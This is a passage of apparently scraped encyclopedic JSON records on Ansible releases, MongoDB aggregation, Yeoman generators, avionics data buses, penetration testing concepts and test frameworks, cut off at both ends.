modules. \n\nFeb  \n2013\n\nAnsible 1.0 is released. We can now use `when_failed` and `when_changed` in playbooks. With v1.2.1 (July 2013), default connection is OpenSSH if it supports ControlPersists; else, fall back to Paramiko. \n\nAug  \n2014\n\nAnsible 1.7 is released. It's the first version to support Windows hosts using native PowerShell rather than SSH. On the control node, Python module `winrm` is used. Though control node can't be Windows, Windows Subsystem for Linux (WSL) bash shell can be used. \n\nJan  \n2016\n\nAnsible 2.0 is released. \n\nSep  \n2017\n\nAnsible 2.4 is released. For hosts, support for Python 2.4 and 2.5 are dropped. Old `include` directives are replaced with `import` (static) and `include` (dynamic). Keyword `order` can be used to specify the order in which hosts are processed. Inventory is revamped. The release is updated in July 2018 as v2.4.7. \n\nMar  \n2018\n\nAnsible 2.5 is released. It's recommended to use `loop` keyword instead of `with_*` style loops. The new syntax is better with filters instead of using complex `query` or `lookup`. Two top-level persistent connection types are introduced, `network_cli` and `netconf`. Where possible, prefer these over `local` connections. \n\n2019\n\nA survey of 786 IT professionals shows that Ansible is popular as a configuration tool for cloud infrastructure. Terraform has the largest growth in adoption.","meta":{"title":"Ansible","href":"ansible"}}
{"text":"# MongoDB Aggregation\n\n## Summary\n\n\nData can be processed in the application layer or in the database layer. Aggregation framework or pipeline is the manner in which MongoDB does data processing in the database layer. MongoDB's aggregation framework can do any kind of processing. Therefore it's really a Turing complete functional language. \n\nOften just retrieving data is inadequate. We wish to perform some computations on the data or report on live data. Sometimes we don't want to copy data and process it elsewhere. These are good reasons for using MongoDB's aggregations. \n\nWhile being flexible and intuitive for developers, MongoDB's aggregation is not as performant as some other databases or tools.\n\n## Discussion\n\n### What are the ways to do aggregation in MongoDB?\n\nThere are three ways to do aggregation in MongoDB: \n\n    + **Aggregation Pipeline**: We can think of data as moving along a multi-stage pipeline. Each stage does specific processing on the data. Among the basic stages are *filters* that obtain a subset of matching documents and *transforms* that reshape data into a suitable output form. Other stages do sorting, grouping, string concatenation, array processing, and so on. The aggregation pipeline can operate on a sharded collection. Some stages can use indexes for better performance.\n    + **Map-Reduce Function**: This legacy approach was deprecated in MongoDB 5.0. Aggregation pipeline is now the preferred approach since it offers better performance and usability.\n    + **Single Purpose Aggregation Methods**: From the Collection class, the methods `estimatedDocumentCount()`, `count()` and `distinct()` aggregate from a single collection. While handy, these lack the flexibility and capability of the aggregation pipeline.\n\n### Could you describe some aggregation pipeline operators or stages?\n\nAn aggregation pipeline is constructed with the `aggregate()` method of the `Collection` class and takes an array of stages: `db.collection.aggregate( [ { <stage> }, ... ] )`. Except for `$out`, `$merge` and `$geoNear`, other stages can appear multiple times in a pipeline. \n\nWe mention a few stages: \n\n    + `$addFields`: Add new fields to documents. Operator `$set` is an alias.\n    + `$count`: Count number of documents at this stage.\n    + `$group`: Takes an identifier expression for grouping input documents. If specified, applies an accumulator expression for each group. Outputs one document per distinct group.\n    + `$limit`: Passes only the first *n* documents to the next stage.\n    + `$lookup`: Does a left outer join to another collection in the same database.\n    + `$match`: Filters documents based on standard MongoDB queries.\n    + `$merge`: Writes the output to a collection. Must be the last stage of the pipeline.\n    + `$project`: Reshapes documents by adding or removing fields. Operator `$unset` is an alias for removing fields.\n    + `$sample`: Randomly selects *n* documents.\n    + `$skip`: Skips first *n* documents.\n    + `$sort`: Reorders document stream by a specified sort key.\n    + `$unwind`: Given an array field, outputs one document per array element.\n\n### What are expression operators in MongoDB aggregation?\n\nAn expression operator has a name and takes either an array of arguments or a single argument. MongoDB has plenty of such operators. By becoming familiar with these, developers can simplify their application code by doing most of the processing in MongoDB. \n\nThere are many categories of expression operators: arithmetic, Boolean, comparison, conditional, data size, date, literal, object, set, string, text, trigonometry, type, etc. Custom expression operators include `$accumulator` and `$function`. Developers can write custom JavaScript functions (MongoDB 4.4) for these. \n\n**Accumulators** are special expression operators that compute totals, maxima, minima and other values. They maintain their state as documents pass through the pipeline. These can be used only in some stages: `$bucket`, `$bucketAuto`, `$group` and `$setWindowFields`. However, some accumulators can be used in other stages but not as accumulators, that is, they don't maintain state. An example of this is shown in the figure: (a) averaging happens across documents within a group; (b) averaging happens over values within a document. \n\n\n### How do I make use of variables in MongoDB aggregation?\n\nLet's consider a `sales` collection with numeric fields `price` and `tax`, and Boolean field `applyDiscount`. We can use aggregation to compute the total for each sale. This is where the `$let` operator becomes useful. \n\nThe `$let` operator has two parts: `vars` block where the variables are assigned and `in` expression where the variables are used for computation. The `vars` block can access variables defined externally, including system variables. If externally defined variables are modified in `vars`, the changed values are seen only within the `in`expression. Externally, old values are retained. \n\nSystem variables include `NOW`, `CLUSTER_TIME`, `ROOT`, `CURRENT`, `REMOVE`, `DESCEND`, `PRUNE` and `KEEP`. \n\n\n### What's the Aggregation Pipeline Builder?\n\nMongoDB Compass is a GUI for MongoDB. Aggregation Pipeline Builder is one of the tools within Compass. Developers can add/remove stages to the pipeline graphically. In *Auto Preview* mode, matching documents are automatically previewed. By default, first 20 documents are previewed. If *Sample Mode* is enabled, a default limit of 100,000 is applied. This affects `$group`, `$bucket`, and `$bucketAuto` stages. \n\nWhen we select a pipeline operators, Compass gives the full syntax. We need to fill in the placeholders with relevant fields and expressions. If we make a mistake, useful suggestions are given to correct the same. This can be a useful feature for beginners. \n\nIt's possible to save the pipeline and reload it later within Compass. With the export feature, the pipeline can be exported in JSON or in a format compatible with a language driver. Likewise, it's possible to import into Compass a pipeline written in MongoDB Query Language. \n\n\n### How's the performance of MongoDB's aggregations?\n\nCompared to the legacy map-reduce, aggregation framework was 6x faster in a test done back in 2015. Unless you're stuck with legacy code, it makes sense to migrate to the aggregation framework. \n\nComparing MySQL 8.0 and MongoDB 4.0.3, it was seen that MongoDB is typically faster on more complex queries. It's faster from disk when there are no indexes, whereas MySQL is faster from RAM. BI Connector is slower for simple queries and not as fast as hand-crafted aggregation. \n\nIn a separate test, MongoDB's `insertMany()` and `updateMany()` were faster compared to their MySQL equivalents. However, a simple `find()` query was slower than MySQL's `SELECT`. \n\nOn large collections of millions of documents, MongoDB's aggregation was shown to be much worse than Elasticsearch. Performance worsens with collection size when MongoDB starts using the disk due to limited system RAM. \n\nThe `$lookup` stage used without indexes can be very slow. \n\nWhile there are many powerful external compute engines (Spark, Hadoop, R, Python, Java, C), data transfer may become the bottleneck due to cost, network bandwidth, hardware limitations and security considerations. Therefore, use MongoDB aggregations when you can. \n\n\n### Could you share some useful tips when building MongoDB aggregation pipelines?\n\nThe Aggregation Pipeline Quick Reference is a useful reference for developers. \n\nWhen complex processing is required, aggregation pipelines help us break down the problem into smaller parts. We can think of each stage as solving a subproblem before handing over the intermediate result to the next stage. Pipelines also aid debugging or prototyping because we can comment out some stages. \n\nThe `$project` stage can be verbose and non-intuitive. Instead use `$set` and `$unset`. This makes the pipeline more maintainable when new fields are added to documents later. \n\nWhile MongoDB automatically does optimization, use `db.coll.explain()` to see if further optimizations are possible. \n\nStages `$sort` and `$group` are blocking, that is, they can't send their output to the next stage until all input documents are processed. Blocking stages reduce concurrency and consume more memory. Some mitigation strategies include sorting on index, using `$limit` with sorting, and sorting later on a smaller subset. Group summary data only. Avoid unnecessary grouping. Use array operators instead of unwinding and regrouping. Move match filters to earlier in the pipeline. \n\n\n### How do aggregation operators map to concepts in SQL?\n\nThe SQL to Aggregation Mapping Chart is a useful resource. From here, we note the following SQL-MongoDB equivalence: \n\n    + **Filtering**: SQL uses `WHERE` and `HAVING` while MongDB uses the `$match` aggregation operator.\n    + **Grouping**: SQL uses `GROUP BY` while MongDB uses the `$group` aggregation operator.\n    + **Selecting**: SQL uses `SELECT` while MongDB uses the `$project` aggregation operator.\n    + **Sorting**: SQL uses `ORDER BY` while MongDB uses the `$sort` aggregation operator.\n    + **Limiting**: SQL uses `LIMIT` while MongDB uses the `$limit` aggregation operator.\n    + **Joining**: Joining in MongoDB is a left outer join performed using the `$lookup` aggregation operator.\n    + **Summing/Counting**: SQL's `SUM()` and `COUNT()` are implemented in MongoDB with the `$sum` aggregation operator.\n    + **Combining**: SQL uses `UNION ALL` while MongDB uses the `$unionWith` aggregation operator.The figure gives some examples. The `orders` collection includes an array of `items` with each item containing fields `sku`, `qty` and `price`.\n\n## Milestones\n\nFeb  \n2009\n\n**MongoDB 1.0** is released. By August, this version becomes generally available for production environments. \n\nDec  \n2009\n\nMongoDB 1.2 is released with support for **aggregations**. This is implemented in Node.js via a Map-Reduce API. This is slow and queries are non-intuitive for developers. \n\nAug  \n2012\n\nMongoDB 2.2 is released. This introduces the **Aggregation Framework**. This is exposed via the `aggregate` command and the `aggregate()` helper in the shell. Compared to earlier implementation of aggregations, this is far more intuitive, powerful, efficient and scalable. It soon becomes the go-to tool for developers. However, MongoDB continues to support Map-Reduce for legacy reasons. \n\nDec  \n2015\n\nMongoDB 3.2 is released. New stages include `$sample`, `$indexStats` and `$lookup` (left outer join). Many new aggregation arithmetic operators and aggregation array operators are introduced. Results of aggregations can be routed to any shard for merging, thus avoiding an overload on primary shard. \n\nNov  \n2016\n\nMongoDB 3.4 is released. New stages include `$graphLookup`, `$bucket`, `$bucketInfo`, `$facet`, `$sortByCount`, `$addFields`, `$replaceRoot` and `$count`. Many aggregation array/string/date operators and `$switch` aggregation control flow expression are introduced. \n\nNov  \n2017\n\nMongoDB 3.6 is released. New stages include `$currentOp`, `$listSessions` and `$listLocalSessions`. New aggregation operators include `$arrayToObject`, `$objectToArray`, `$mergeObjects`, `$dateFromString`, `$dateFromParts` and `$dateToParts`. For date operators, time zones are supported. Aggregation variable `REMOVE` is added. \n\nJun  \n2018\n\nMongoDB 4.0 is released. New aggregation operators for type conversion and trimming strings are added. MongoDB Compass 1.14 is released with **Aggregation Pipeline Builder**. In Compass 1.15 (Aug 2018), import/export feature is added to the builder. In Compass 1.16 (Nov 2018), collation support is added. In Compass 1.19 (Aug 2019), views can be created from pipeline results. Builder comes with new settings of sample size, number of documents to preview, and a maximum timeout. In Compass 1.20 (Dec 2019), `$set`, `$unset` and `$replaceWith` pipeline operators are added. In Compass 1.26.1 (Apr 2021), functions are allowed in pipelines. \n\nAug  \n2019\n\nMongoDB 4.2 is released. Stage `$merge` is added. This helps create on-demand materialized views. Other new stages include `$planCacheStats`, `$replaceWith`, `$set` and `$unset`. Trigonometry expressions are added. New regex expressions include `$regexFind`, `$regexFindAll`, and `$regexMatch`. In earlier versions, only `$regex` query operator could be used in `$match` stage. New variables include `NOW` and `CLUSTER_TIME`. Aggregation pipeline can be used `findAndModify` and `update` commands. \n\nJul  \n2020\n\nMongoDB 4.4 is released. Stage `$unionWith` can combine pipeline results from multiple collections. Operators `$accumulator` and `$function` allow custom aggregation expressions instead of using `mapReduce` and `$where`. Other new operators include `$binarySize`, `$bsonSize`, `$first` (first array item), `$last`, `$isNumber`, `$replaceOne` and `$replaceAll`. From this version, `$merge` can output to the same collection that's being aggregated; `$out` can output to a collection in a different database. \n\nJul  \n2021\n\nMongoDB 5.0 is released. Pipeline stage `$setWindowFields` is added. Some date aggregation operators are added. Aggregation operators `$rand` and `$sampleRate` are added. For better performance, comparison operators with `$expr` use indexes. Multiple input expressions are possible for `$ifNull`. For better readability, `let` can be used to define and use variables within the pipeline. Concise correlated subqueries are supported for `$lookup`.","meta":{"title":"MongoDB Aggregation","href":"mongodb-aggregation"}}
{"text":"# Yeoman\n\n## Summary\n\n\nStarting a new web app project often involves creating a basic structure of files and folders. Every web framework has its own conventions and recommended project structure. This is commonly called *scaffolding* of the project. Creating such a scaffolding is tedious. Yeoman is a Node.js module that simplifies this process. \n\n**Generator** is the term used by Yeoman to refer to the packaging and distribution of code that creates scaffolding for a specific type of project. For example, `generator-node` creates a Node.js project while `sls` creates a serverless project. \n\nFor web apps, it automates mundane frontend tasks such as creating navigation, header or footer; or backend tasks such as creating APIs. Initially introduced for web apps, Yeoman's being used today for many types of project. Yeoman is open source, widely used, cross-platform, easy to use and based on the popular JavaScript language.\n\n## Discussion\n\n### Could you outline Yeoman's typical workflow?\n\nA project will often have dependencies with other projects or packages. To bring in dependencies, we have **dependency/package managers** such as npm or Bower. These managers automate the task of downloading dependencies. \n\nA project will also need a **build system** such as Gulp or Grunt. In web apps for example, these build system will minify CSS and JS, and do other transformations on the code.  \n\nA typical Yeoman workflow starts with setting up the scaffolding using the project's Yeoman **generator**. As part of the setup, a dependency file (`package.json` for npm) is created and the required dependencies are downloaded. Build configuration file is created and relevant build tasks are pulled into the project. \n\nNote that the generator itself doesn't have dependent packages or build tasks, which are separately developed and delivered by different teams in the open source model. But the generator's author knows what tools are useful for the project. The author may also decide to give users options. For example, when the generator is invoked, user may be given a choice to use Gulp or Grunt. \n\n\n### How is Yeoman better than native generators or CLI project tools?\n\nFrameworks typically come with their own tools to create a sample project structure. For example, to build an Angular frontend app, `@angular/cli` provides scaffolding for a basic app with one static page. With Yeoman generators, we get many advanced options including promises, authentication, routing and a choice of desktop, mobile or PWA app.\n\nTake the example of `ngx-rocket` generator for an Angular 7+ project. This includes a complete starter template, improved tooling, extensive base documentation, ready-to-use UI components, API proxy example setup for faster remote debugging, and generator output customization. For UI, we could choose Angular Material, Bootstrap 4 or Ionic. Mobile app uses Cordova, desktop app uses Electron, or we could use both in the same code base. Among output customization are SSO authentication, enterprise theming and service integrations. There's also a built-in development server with automatic reload when source files change. \n\nMoreover, Yeoman enforces good coding practices since the generators themselves are written by experienced developers. \n\n\n### What are Yeoman sub-generators?\n\nA generator creates all the different parts of an application but what if you want to create only one part of the application? For example, a web app based on MVC pattern would include models, views and controllers. What if you want to create an additional view or model in an existing project? This is where Yeoman sub-generators are useful. \n\nOne example is the Joomla3 generator by Diego Castro. The generator creates a Joomla 3.5 component but it also has sub-generators to create CRUD for a component, a module, a plugin, a template, a rule, and so on. Thus, generators create the basic scaffolding and sub-generators can help us add more parts to it as required.\n\nA sub-generator is invoked using the suffix `:subgen-name` followed by instance name. For example, to generator an Angular project we would call `yo angular` but to add an Angular service (a sub-generator), we use `yo angular:service myservice`; or an Angular filter using `yo angular:filter myfilter`. \n\nIt's also easy to pass data from generator to its sub-generator. \n\n\n### Which are the core components of Yeoman?\n\nThe core system has the following components: \n\n    + `yo`: This is the main command-line interface to use Yeoman. Users need to install this first and then install generators using this.\n    + `yeoman-environment`: This is the runtime environment. It provides high-level API to discover, create and run generators.\n    + `yeoman-generator`: This provides base classes that you can extend to make your own generators. These classes make it easier to create generators.All three components are open source and available in separate repositories on Yeoman's GitHub account. By studying the file `package.json` in these repositories, we can see that both `yo` and `yeoman-generator` depend on `yeoman-environment`. Thus, there's no need for developers or users to separately install the Yeoman environment.\n\n\n### Is Yeoman only for JavaScript-based projects?\n\nWhile Yeoman started with the idea of improving workflows of JavaScript-based projects, today it's used in many other types of projects. A generator is written as a Node.js module but otherwise it can target any project and create boilerplate code in any language.\n\nAn example is `generator-jvm` that creates a Java project. By passing the option `--type java-spring-boot` to this generator we can create a Java Spring Boot project. \n\nAnother example is `generator-joomla3`. Joomla is a Content Management System (CMS) based on PHP and yet we have a generator (and many sub-generators) to simplify the workflow for Joomla developers. \n\nAn interesting example is `generator-sls` that helps create a serverless project. This generator can create scaffolding targeting a number of languages as desired: Go, Node.js, Python, Java, C#. \n\n\n### As a beginner, how can I get started with Yeoman?\n\nHead to the official Yeoman site and read Getting Started, Tutorials, and FAQ pages.\n\nStart by installing `yo` CLI tool using the command `npm install -g yo`. Subsequently, you can install any of the thousands of generators already out there. \n\nInstalling a specific generator is easy. To install `ngx-rocket` for example, type `npm install -g generator-ngx-rocket`. Refer to the documentation of that generator to know how to use it and create the project scaffolding. In `ngx-rocket` for example, we would start with the command `ngx new` and then respond to the prompts to customize the app. \n\n\n### What's the procedure for creating my own Yeoman generator?\n\nThe official documentation explains how to create your own generator. You can start by creating a simple generator that just gives a bunch of boilerplate files. You can also give developers options to create a customized project. Any generator you create must depend on `yeoman-generator`, which in turn depends on `yeoman-environment`. \n\nIt's interesting to note that there's a generator to create a new generator. This is called `generator-generator` and this is probably the best place to start for beginners. Read the API documentation before updating the boilerplate output of this generator. The API documentation talks about modules, classes and mixins. The main class is named `Generator`. \n\nNote that `generator-generator` depends on the package called `yeoman-generator`, which is the base from which all generators are written. \n\n## Milestones\n\nSep  \n2012\n\nYeoman v0.9 is released on GitHub. A project can be scaffolded using the command `yeoman init`. Yeoman is described as \"a robust and opinionated client-side stack, comprised of tools and frameworks that can help developers quickly build beautiful web applications\". Yeoman is said to be inspired by Rails Generator system. \n\nAug  \n2013\n\nVersion 1.0.0 of CLI tool **yo** is released. This replaces the older commands to execute Yeoman. \n\nJun  \n2019\n\nAs of June 2019, Yeoman has 8000+ generators. Some popular ones at this point include jhipster, loopback, hyperledger-composer, feathers, code, travis, and node.","meta":{"title":"Yeoman","href":"yeoman"}}
{"text":"# Avionics Data Bus\n\n## Summary\n\n\nA bus is a data highway that links one LRU (Line Replaceable Unit) to another. In earlier avionic systems, communication cables are used to transmit the data. To transfer a bit of data at least one pair of wires is needed for each signal. These wires transmit information over a single twisted and shielded pair of wires (the databus) to all other system elements having need of that information (up to as many as 20 receivers). A data bus connects all the internal components of the computer to the CPU and main memory. When referred to as an aircraft, it is the data highway that links one computer to another aircraft like the FMC (Flight Management Computer) and the ADC (Air Data Computer).\n\n## Discussion\n\n### What are the types of avionics data bus?\n\nBased on the type of connection data buses are classified into two types. They are serial bus and parallel bus.\n\n    + **Serial Bus**: As the mentioned in the name, each bit of the data word is transferred via the same wire. Only one bit of word is sent at a time. Examples of serial data bus are PCIe, USB, ARINC, I2C, etc.\n    + **Parallel Bus**: In this type, each bit of the data word is transferred via a specific wire. It requires a lot of wiring. Examples of parallel bus are conventional PCI.\n\n### Which type of data bus is better, serial or parallel?\n\nParallel buses should have been faster than serial data buses. But, there are many issues in using parallel data buses. Such as, parallel buses suffer from clock skew. It means a bit of data can reach the destination before or after other bits. It causes lack of synchronization in parallel data buses. Also, the no of wires used in the parallel data bus is more than the serial data bus. Also, parallel data buses are not synchronized as fast as the serial data buses results in low data rate. \n\n\n### What are the types of serial digital data transmission?\n\nCommon serial digital data transmissions are two types. They are single source-single sink and multiple source-multiple sink.\n\n    + **Single Source-Single Sink**: It is the earliest application that contains a dedicated link. One LRU (line replaceable unit) communicates with a single LRU. Example: Sea Harrier and Tornado aircraft.\n    + **Single Source-Multiple Sink**: In this system, one LRU transmits data to multiple LRUs at a time. ARINC 429 is the example for this type.\n    + **Multiple Source-Multiple Sink**: In this system, multiple computers transmit data to multiple LRUs at a time. This is also known as full duplex and is widely used by military users. Example: MIL-STD-1553B and ARINC 629.\n\n### Why avionics data buses are created in such a way?\n\nIn 1950s and 1960s, communication between two stations is done through a lot of wires without a bus. It makes very difficult for the installation and also for the modification. The parts of these systems are elctro-mechanical which are heavy and requires large space. After that digital systems are used to transmit the data. They are also heavy, slow and difficult to reprogram. Each component of the system contains its own computer and memory. They use a bus between components limiting the usage of more wires. \n\n\n### What are the major avionics data buses?\n\nMany commercial and military aircraft utilize many avionics data bus technologies. The major avionics data buses are MIL-STD-1553, ARINC 429, ARINC 629. \n\n    + ARINC 429 defines how avionics equipments and other systems communicate on the aircraft. It is a unidirectional broadcast bus (simplex). The highest speed of data transmission is 100kbps and the least is 12 to 14.5kbps. It is a low weight and low cost with high reliability.\n    + MIL-STD-1553B is a serial time division command response data bus. It has a bit rate of 1Mbps. It is a military half-duplex protocol.\n    + ARINC 629 is used in Boeing 777. It is a multi-transmitter data bus. It is half-duplex with a bit rate of 2Mbps. The data is transferred using electromagnetic induction between two or more systems.\n\n### What are the problems a data bus solves?\n\nData buses solve many problems. They are: \n\n    + **ARINC 429**: It is developed to promote interoperability between devices on civil aircraft. Designed to connect a single transmitter to 10 receivers. Messages are expected to be transmitted between once and up to 50 times a second. Receivers receive their data simultaneously which accomplishes the synchronization.\n    + **MIL-STD-1553B** Designed to connect up to 32 devices with the ability to transmit 16-bit words of data in a message. Simultaneous transmission by multiple devices is prevented. Synchronization is accomplished by using a Synchronization Mode Code.\n    + **ARINC 629**: Published in 1990. It is intended to work in concert with ARINC 429. It is an attempt to reduce the wiring complexity inherent in the point-to-point ARINC 429 architecture. Facilitates the transfer of non-periodic data such as databases or video. Designed to connect up to 120 devices and be able to transmit strings of up to 256 sixteen-bit words with a speed of 2MHz. Simultaneous transmission by multiple devices is prevented by a set of timers in each device along with the ability to detect transmission on the bus.\n\n\n## Milestones\n\n1929\n\nFour major airlines found ARINC to offer a single radio communications licensee and coordinator outside the government. \n\n1970\n\nARINC 429 is widely used in commercial aircraft. \n\n1970\n\nSingle Source-Single Sink used in Tornado and Sea Harrier avionics system. \n\n1973\n\nUS air force first publishes the MIL-STD-1553B standard data bus to use in the F-16 Falcon fighter aircraft. \n\n1975\n\nMany improvements are done in ARINC 424 to introduce new record types and field values and revision of coding rules are done as required by new technologies and classes of equipment such as GPS and Flight Management Computers. \n\n1978\n\nARINC introduces a datalink system known as ACARS (Aircraft Communications Addressing and Reporting Systems). It uploads and downloads data via an onboard Communications Management Unit (CMU). \n\n1980\n\nBoeing develops a digital data bus known as Digital Autonomous Terminal Access Communication (DATAC) is the digital data bus which later becomes an ARINC standard as ARINC629. \n\n1995\n\nThe ARINC 629 computer bus introduced to use on the Boeing 777. \n\n2013\n\nARINC Inc., sold a small subsidiary and is looking to sell another in the wake of its $1.4 billion purchase of the aviation engineering and communications firm. \n\n2014\n\nSAE International bought the ARINC Industry Activities (IA) Division. It now operates under the SAE Industry Technologies Consortia (SAE ITC). \n\n2018\n\nMIL-STD-1553C is the latest version of MIL-STD-1553 made in February.","meta":{"title":"Avionics Data Bus","href":"avionics-data-bus"}}
{"text":"# Penetration Testing\n\n## Summary\n\n\nToday's networked systems have a greater attack surface because computers are interconnected and can be accessed remotely. Systems and servers are also complex since they offer dozens of services and run many different software packages. Anyone gaining access to such a system without authorization can damage operations and steal data. It's therefore essential to know what security vulnerabilities are present and take corrective action early on.\n\nPenetration testing is a proactive attempt to discover and exploit vulnerabilities in the system. The idea is not to cause damage as a malicious hacker would. Instead, it's to discover what's wrong, show how much damage can be done, or prove that existing measures are mitigating these attacks as they happen. Penetration testing can be manual or automated. \n\nPenetration testing is also called **pen testing**.\n\n## Discussion\n\n### What's a typical pen testing process?\n\nWith pen testing, we typically explore or scan the system to discover vulnerabilities. Once discovered, we try to exploit them and see what happens. The behaviour is captured and reported for analysis. Scanning can be static code analysis or dynamic run-time analysis. \n\nPen testing requires a proper testing plan. Reporting should be consistent. Problems should be marked with levels of severity. Finally, there should be an action plan to mitigate or manage vulnerabilities. \n\nSince attacks are often preceded by an assessment, **Vulnerability Assessment and Penetration Testing (VAPT)** is a term commonly used. It's also possible to do both these in parallel: vulnerability assessment involving scans and analysis; pen testing involving analysis and attacks. A vulnerability scan is faster than detailed pen testing but pen testing is more accurate since some reported vulnerabilities might be false positives.  \n\n\n### What are some types of pen testing?\n\nPen testing typically covers one or more of the following: \n\n    + **Network**: Involves firewalls, routers, SSH, port scanning, and anything else that will allow an attacker to gain network access.\n    + **Wireless**: Often systems involve wireless access. Pen testing should look at wireless traffic, encryption protocols, unauthorized access points, poor passwords, MAC address spoofing, etc.\n    + **Web**: Any website or web app can be vulnerable at the application layer. Pen testing should check cross-site scripting, SQL injections, DoS attacks, web server misconfiguration, failure to protect sensitive data, etc. This could include vulnerabilities on the client-side of the app.\n    + **Physical**: Systems have to be physically secure as well in terms of locks, motion sensors, etc.\n    + **Social Engineering**: Users can be manipulated or fooled to provide unauthorized access to systems. Phishing, tailgating and eavesdropping are some techniques.\n    + **Cloud**: When apps reside in the cloud, cloud pen testing may be required. You will need to know from your cloud provider what assets are off limits for pen testing.\n\n### What are some methods or approaches to pen testing?\n\n**External testing** is useful to mimic how an outsider might attack the system. **Internal testing** is to ascertain how much and what damage a disgruntled employee or another user with authorized access can cause. \n\n**Targeted testing** is when multiple teams work together and everyone can see the tests as they execute. **Blind testing** is when limited information is given to the pen tester. **Double-blind testing** goes one step further: very few in the company know that pen testing is happening. This will determine if security monitoring and responses happen as expected. \n\n**Black box testing** is an extreme case of blind testing. Pen testers are given no information. **White box testing** gives pen testers lots of useful information to speed up the process. Black box testing is more real but slow. White box testing is more thorough. \n\n\n### When is the right time to do pen testing?\n\nPen testing should be done regularly. Previous approaches of doing this annually are seen to be outdated. The recommendation is to have pen testing as part of regular development and release processes. If this is not possible in-house, there are providers who offer pen testing as a service. \n\nTypically, vulnerability scans could be part of CI/CD pipelines and longer attack tests could be done nightly. In addition, when there are changes made to the app/network/server/system, pen testing should be done. Such changes might include moving to a new office premise, releasing a patch, changing user policies, or adding new infrastructure. \n\n\n### Could you mention some tools that help in pen testing?\n\nIt's interesting to note that tools that might be used by malicious hackers can also be useful for pen testing. The site SecTools.Org maintains a list of 100+ network security tools. \n\n*Angry IP Scanner* is for scanning IP addresses and ports. *Ettercap* can read and inject packets into the network adaptor. For cracking passwords there's *Cain and Abel* or *John the Ripper*. To crack Wi-Fi passwords, *Aircrack-ng* is useful. For attacking web apps, we have *Burp Suite* and *OWASP ZAP*. For exploiting SQL flaws, there's *sqlmap*. *Nessus* is a well-known vulnerability scanner. *Wireshark* is a popular tool for interactively analyzing network logs. *Metasploit* is a framework to develop and reuse exploit code.  System admins can use *Responder*, *Powershell Empire*, *Hashcat*, *Arpspoof* and *Wireshark*. \n\nIn any case, you should select tools that are easy to use, are suited for automation, can re-verify previous exploits, and generate detailed logs. \n\nKali Linux is a Linux distribution that includes many useful tools for easy installation and use. \n\n\n### Isn't pen testing the same as ethical hacking?\n\nOften these two terms are used interchangeably but there's a subtle difference. Pen testing may be seen as a subset of ethical hacking. Pen testing is narrowly focused to discover and show that vulnerabilities can be exploited. Ethical hacking has a broader scope. An ethical hacker can use pen testing plus various other methods across the entire IT infrastructure. \n\nWhile pen testing aims to give confidence about system security (usually based on known vulnerabilities), ethical hacking will try to see things from the perspective of a malicious hacker. An ethical hacker may use novel techniques of hacking. He may use social engineering, rummage through logs, examine patch installations, sniff networks, etc. \n\nAn ethical hacker may infiltrate the system, move laterally within or to other systems, and even export sensitive data. However, some pen testers may try to include these in their tests. \n\nIt's important to note that both pen testers and ethical hackers are required to get written authorization and clear understanding of the scope of work. \n\n\n### Are there any standards or methodologies to guide in pen testing?\n\nAmong the more well-known standards is **Penetration Testing Execution Standard (PTES)** that was defined in 2009. Its goal is to provide guidance about tools and techniques. A standard such as PTES is particularly useful when organizations engage external testers or testing services. With PTES, it's easier to filter out low quality testers. \n\nPTES does have its limitations. Threats are evolving rapidly and it's impossible for a static standard to be comprehensive. Thus, PTES should be seen as a minimum requirement. PTES Technical Guidelines are available online and publicly accessible.\n\nAnother standard is called **Open Source Security Testing Methodology Manual (OSSTMM)** from ISECOM. It's been around since 2001. **Payment Card Industry Data Security Standard (PCI DSS)** provides guidance for pen testing among things. There's also **Information Systems Security Assessment Framework (ISSAF)** but this is not actively updated. \n\n## Milestones\n\n1960\n\nThis decade sees the growing popularity of time-sharing computer systems. Users can remotely access and time-share computers over communication lines. It's recognized that if the communication lines are compromised, computer systems could be attacked. \n\n1967\n\nAt the annual Joint Computer Conference held in the U.S., the security of computer communication lines is discussed. The term \"penetration\" is used for the first time. Subsequently, RAND Corporation and Advanced Research Projects Agency (ARPA) publish a detailed report, commonly called *The Willis Report*. This report becomes influential for later studies. \n\n1972\n\nFrom late 1960s and during 1970s, *tiger teams* are formed. They're sponsored by governments and companies. Their task is to attack computer systems, uncover security holes and then fix them. Pen testing as we know it today starts here. In 1972, an early pioneer of pen testing, James P. Anderson outlines steps that tiger teams can follow for pen testing. \n\n1974\n\nU.S. government conducts pen testing on its Multics (Multiplexed Information and Computing Service) system, an early system that precedes UNIX. The pen tests reveal many vulnerabilities despite Multics being one of the most secure systems. \n\n1995\n\nDan Farmer of Sun Microsystems and Wietse Venema of the Eindhoven University of Technology release a paper titled *Improving the Security of Your Site by Breaking Into It*. They use the term \"uebercracker\" to refer to a system cracker who has gone beyond simple cookbook methods of breaking into systems. They also describe **SATAN (Security Analysis Tool for Auditing Networks)**, one of the earliest tools to automate pen testing. It's written in shell, perl, expect and C. \n\nSep  \n2001\n\n**Open Web Application Security Project (OWASP)** is started. It's pen testing tool, **Zed Attack Proxy (ZAP)** is released in September 2010. OWASP ZAP is free, open source, cross-platform and well documented. \n\n2009\n\n**Penetration Testing Execution Standard (PTES)** is started by six information security consultants. PTES provides guidelines towards effective pen testing.","meta":{"title":"Penetration Testing","href":"penetration-testing"}}
{"text":"# Test Frameworks\n\n## Summary\n\n\nEngineers write test cases to ensure that software works as expected. Often test cases require common services. These services are also agnostic of each test. The purpose of test frameworks is to provide a common platform for writing, organizing and executing test cases.\n\nA test framework is a set of guidelines or rules that enable more efficient testing. To say it differently, a test framework provides a consistent interface between your code and your tests. Test frameworks basically provide the scaffolding. Test engineers can therefore focus on writing tests and testing the core functionality of their software.\n\nThe term **Test Automation Framework** is commonly used, though test frameworks can in rare cases be used to aid manual testing.\n\n## Discussion\n\n### What are some benefits of using a test framework?\n\nSome benefits include improved test efficiency, lower maintenance costs, minimal manual intervention, maximum test coverage, code reuse, handling of recovery scenarios, and easy reporting. \n\nObviously, test frameworks play an essential role in test automation, and test automation increases the depth and scope of testing. Lengthy or complex tests are hard to run manually. Developers can also focus on creating more tests than spend time executing tests. Essentially, better testing leads to higher quality software in a short time to market. \n\nIt's recommended that you select a framework already available in the market rather than write your own custom framework. By doing this, you can focus on writing effective test cases and test suites.\n\n\n### What's the typical execution process of a test framework?\n\nHere we describe the typical process. Further details will vary depending on features that frameworks support.\n\nThe process starts by gathering all tests for execution. These tests are commonly grouped within **test suites** that are manually specified or could be discovered by convention. For example, all method/function names starting with a certain prefix are treated executable tests. \n\nTest executions start and end with **setup** and **teardown** code respectively. This setup/teardown code could be at test suite level, module level, test case level, or all of these. \n\nWithin each 